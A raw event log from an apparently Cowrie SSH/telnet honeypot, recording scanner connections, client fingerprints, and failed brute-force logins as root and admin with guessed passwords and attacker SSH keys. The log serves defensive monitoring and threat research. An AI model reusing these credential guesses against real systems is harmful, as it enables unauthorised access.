aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:01:59.145465Z","src_ip":"51.250.105.222","session":"fa1e64f43d10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.55.131.3","src_port":58330,"dst_ip":"159.203.135.109","dst_port":23,"session":"07617cdfe2cb","protocol":"telnet","message":"New connection: 203.55.131.3:58330 (159.203.135.109:23) [session: 07617cdfe2cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:01:59.379624Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:01:59.385802Z","src_ip":"203.55.131.3","session":"07617cdfe2cb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:01:59.392568Z","src_ip":"203.55.131.3","session":"07617cdfe2cb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:01:59.396060Z","src_ip":"203.55.131.3","session":"07617cdfe2cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09619593620300293,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:01:59.475669Z","src_ip":"203.55.131.3","session":"07617cdfe2cb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:01:59.534847Z","src_ip":"51.250.105.222","session":"fa1e64f43d10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:02:00.664849Z","src_ip":"51.250.105.222","session":"fa1e64f43d10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.227.254.170","src_port":27878,"dst_ip":"10.17.0.5","dst_port":22,"session":"4304cadede61","protocol":"ssh","message":"New connection: 45.227.254.170:27878 (10.17.0.5:22) [session: 4304cadede61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:02:07.406661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:02:07.412072Z","src_ip":"45.227.254.170","session":"4304cadede61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:02:07.944874Z","src_ip":"45.227.254.170","session":"4304cadede61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:02:08.280925Z","src_ip":"45.227.254.170","session":"4304cadede61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":10418,"dst_ip":"159.203.135.109","dst_port":22,"session":"9eaddc5e31ea","protocol":"ssh","message":"New connection: 2.57.121.112:10418 (159.203.135.109:22) [session: 9eaddc5e31ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:02:33.258267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:02:33.342489Z","src_ip":"2.57.121.112","session":"9eaddc5e31ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:02:33.438491Z","src_ip":"2.57.121.112","session":"9eaddc5e31ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040391","message":"login attempt [admin/040391] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:02:33.872483Z","src_ip":"2.57.121.112","session":"9eaddc5e31ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04021969","message":"login attempt [admin/04021969] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:02:34.977008Z","src_ip":"2.57.121.112","session":"9eaddc5e31ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040171","message":"login attempt [admin/040171] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:02:36.082926Z","src_ip":"2.57.121.112","session":"9eaddc5e31ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0327","message":"login attempt [admin/0327] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:02:37.186390Z","src_ip":"2.57.121.112","session":"9eaddc5e31ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03121971","message":"login attempt [admin/03121971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:02:38.288655Z","src_ip":"2.57.121.112","session":"9eaddc5e31ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:02:39.392262Z","src_ip":"2.57.121.112","session":"9eaddc5e31ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":42990,"dst_ip":"10.17.0.5","dst_port":22,"session":"c13625d570cf","protocol":"ssh","message":"New connection: 103.153.68.219:42990 (10.17.0.5:22) [session: c13625d570cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:04:03.737977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:04:03.743675Z","src_ip":"103.153.68.219","session":"c13625d570cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:04:03.998139Z","src_ip":"103.153.68.219","session":"c13625d570cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1111aa","message":"login attempt [root/1111aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:04:04.747383Z","src_ip":"103.153.68.219","session":"c13625d570cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:04:06.000395Z","src_ip":"103.153.68.219","session":"c13625d570cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":54922,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccaa36fdec2f","protocol":"ssh","message":"New connection: 109.237.96.109:54922 (10.17.0.5:22) [session: ccaa36fdec2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:05:39.500214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:05:39.504712Z","src_ip":"109.237.96.109","session":"ccaa36fdec2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:05:39.594299Z","src_ip":"109.237.96.109","session":"ccaa36fdec2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazxcdews","message":"login attempt [root/qazxcdews] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:05:39.864110Z","src_ip":"109.237.96.109","session":"ccaa36fdec2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:05:40.959701Z","src_ip":"109.237.96.109","session":"ccaa36fdec2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.153.121.223","src_port":55440,"dst_ip":"10.17.0.5","dst_port":22,"session":"d553c3041b64","protocol":"ssh","message":"New connection: 148.153.121.223:55440 (10.17.0.5:22) [session: d553c3041b64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:05:59.110799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:05:59.116498Z","src_ip":"148.153.121.223","session":"d553c3041b64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:05:59.162568Z","src_ip":"148.153.121.223","session":"d553c3041b64","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:00:2a:a3:9f:1c:17:54:d8:32:e8:4a:ee:0b:57:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA8TyV8V6ft5lPipaEm+b/FM1Q+eU8V/InIT9dUg5Oxf22mCma+vlV/bd4YloeLmPfeFIh7raX87Ctx+8TfsXqzW+uFPDWnK5nCvMxQZytxtw22QQRI4k9JqXYEyTYegnZfuvYrFu3TuaNuunmncyYD8pCfMr0AsQcbIoO1GP5esPYX4xrfM+M1Sr0KuFhS4xsZjv21Y/yRiaxh73707A5QB7Ii1V4LfohLhRtZsVuQ7Ux9RSN3nLnHmt/17JP+CzOgAJ920p9kJOn9wqQXm+RVNLWOVlkTgwRH5q1sBEDljlLsy/GCsfg0panGHkQ/xHHchfPmiduUjiSAOwF1dX+EQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:00:2a:a3:9f:1c:17:54:d8:32:e8:4a:ee:0b:57:00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:05:59.354243Z","src_ip":"148.153.121.223","session":"d553c3041b64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:00:2a:a3:9f:1c:17:54:d8:32:e8:4a:ee:0b:57:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA8TyV8V6ft5lPipaEm+b/FM1Q+eU8V/InIT9dUg5Oxf22mCma+vlV/bd4YloeLmPfeFIh7raX87Ctx+8TfsXqzW+uFPDWnK5nCvMxQZytxtw22QQRI4k9JqXYEyTYegnZfuvYrFu3TuaNuunmncyYD8pCfMr0AsQcbIoO1GP5esPYX4xrfM+M1Sr0KuFhS4xsZjv21Y/yRiaxh73707A5QB7Ii1V4LfohLhRtZsVuQ7Ux9RSN3nLnHmt/17JP+CzOgAJ920p9kJOn9wqQXm+RVNLWOVlkTgwRH5q1sBEDljlLsy/GCsfg0panGHkQ/xHHchfPmiduUjiSAOwF1dX+EQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:05:59.358147Z","src_ip":"148.153.121.223","session":"d553c3041b64","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:53:cc:02:e4:7a:31:1c:75:e4:25:f8:b2:37:44:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3R04lalSkUJSR5h1NfvnSs4CVXy7CCnQgx0iDNUXSYf69V1U1AeZAMlAh+Qj2CDIA3+TIv33DIlp2heuOHAzWdMmUssWza9CTOz3m0TTjZ+E204MOzUoU2pVBPXoGUFIR3I2tc0FQ2j34ReZwGgoz8OOhZF5mBWM6+I5oBImEmxWdM0OOg3zlEmDeAY3hIWmtLOwN1N8zn3K92MlvH1tDgLI7I+a+F+3KroBzjxmjwH/BFgifOcDeN8HErHdjQ5eUJv7CQmgsW+NqsOKfFM39ZUQIsly+1G41XZye5TR3iBtVTjfKg8voqw+AaJAO7Ng5wDnsJ80jqbzsD6hjZ1Kxw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:53:cc:02:e4:7a:31:1c:75:e4:25:f8:b2:37:44:8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:05:59.402337Z","src_ip":"148.153.121.223","session":"d553c3041b64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:53:cc:02:e4:7a:31:1c:75:e4:25:f8:b2:37:44:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3R04lalSkUJSR5h1NfvnSs4CVXy7CCnQgx0iDNUXSYf69V1U1AeZAMlAh+Qj2CDIA3+TIv33DIlp2heuOHAzWdMmUssWza9CTOz3m0TTjZ+E204MOzUoU2pVBPXoGUFIR3I2tc0FQ2j34ReZwGgoz8OOhZF5mBWM6+I5oBImEmxWdM0OOg3zlEmDeAY3hIWmtLOwN1N8zn3K92MlvH1tDgLI7I+a+F+3KroBzjxmjwH/BFgifOcDeN8HErHdjQ5eUJv7CQmgsW+NqsOKfFM39ZUQIsly+1G41XZye5TR3iBtVTjfKg8voqw+AaJAO7Ng5wDnsJ80jqbzsD6hjZ1Kxw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:05:59.406170Z","src_ip":"148.153.121.223","session":"d553c3041b64","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:f1:43:d1:ca:9f:48:7f:52:e4:6f:be:5a:08:77:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1L+ffjNhm1uY/vCZuXpTGx0crmWVMvnIdDGcHsOBQT0bQgJoYWpvthWBl0KjoaHUNMPYj6Oo1yF4UsQ1EORZ4s1VuSaOZWkqFK0Mafl33Tn3dJni+GSzt64Xh9orVzQwa+gG3ibiqxxyawqU7HqzNsj+M06ZgiQsqsAN9X0Enf0HHaLyY3F+deVsJr1FVmmsnRjsBWSFjU/J3ytom6iJODrD9kvT/2VmIXpcFY8lN+Sfz6oRTxKs7Au3kJMvTxyNeeo1+TnyiRncFbv1IUpU6YQcySe317vgn6ccw+84btCJN17ejW5vAZRQnCy1cwszi+hpI4LQKCar4MJ1bJ51b","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 78:f1:43:d1:ca:9f:48:7f:52:e4:6f:be:5a:08:77:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:05:59.449897Z","src_ip":"148.153.121.223","session":"d553c3041b64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:f1:43:d1:ca:9f:48:7f:52:e4:6f:be:5a:08:77:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1L+ffjNhm1uY/vCZuXpTGx0crmWVMvnIdDGcHsOBQT0bQgJoYWpvthWBl0KjoaHUNMPYj6Oo1yF4UsQ1EORZ4s1VuSaOZWkqFK0Mafl33Tn3dJni+GSzt64Xh9orVzQwa+gG3ibiqxxyawqU7HqzNsj+M06ZgiQsqsAN9X0Enf0HHaLyY3F+deVsJr1FVmmsnRjsBWSFjU/J3ytom6iJODrD9kvT/2VmIXpcFY8lN+Sfz6oRTxKs7Au3kJMvTxyNeeo1+TnyiRncFbv1IUpU6YQcySe317vgn6ccw+84btCJN17ejW5vAZRQnCy1cwszi+hpI4LQKCar4MJ1bJ51b","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:05:59.453678Z","src_ip":"148.153.121.223","session":"d553c3041b64","protocol":"ssh"}
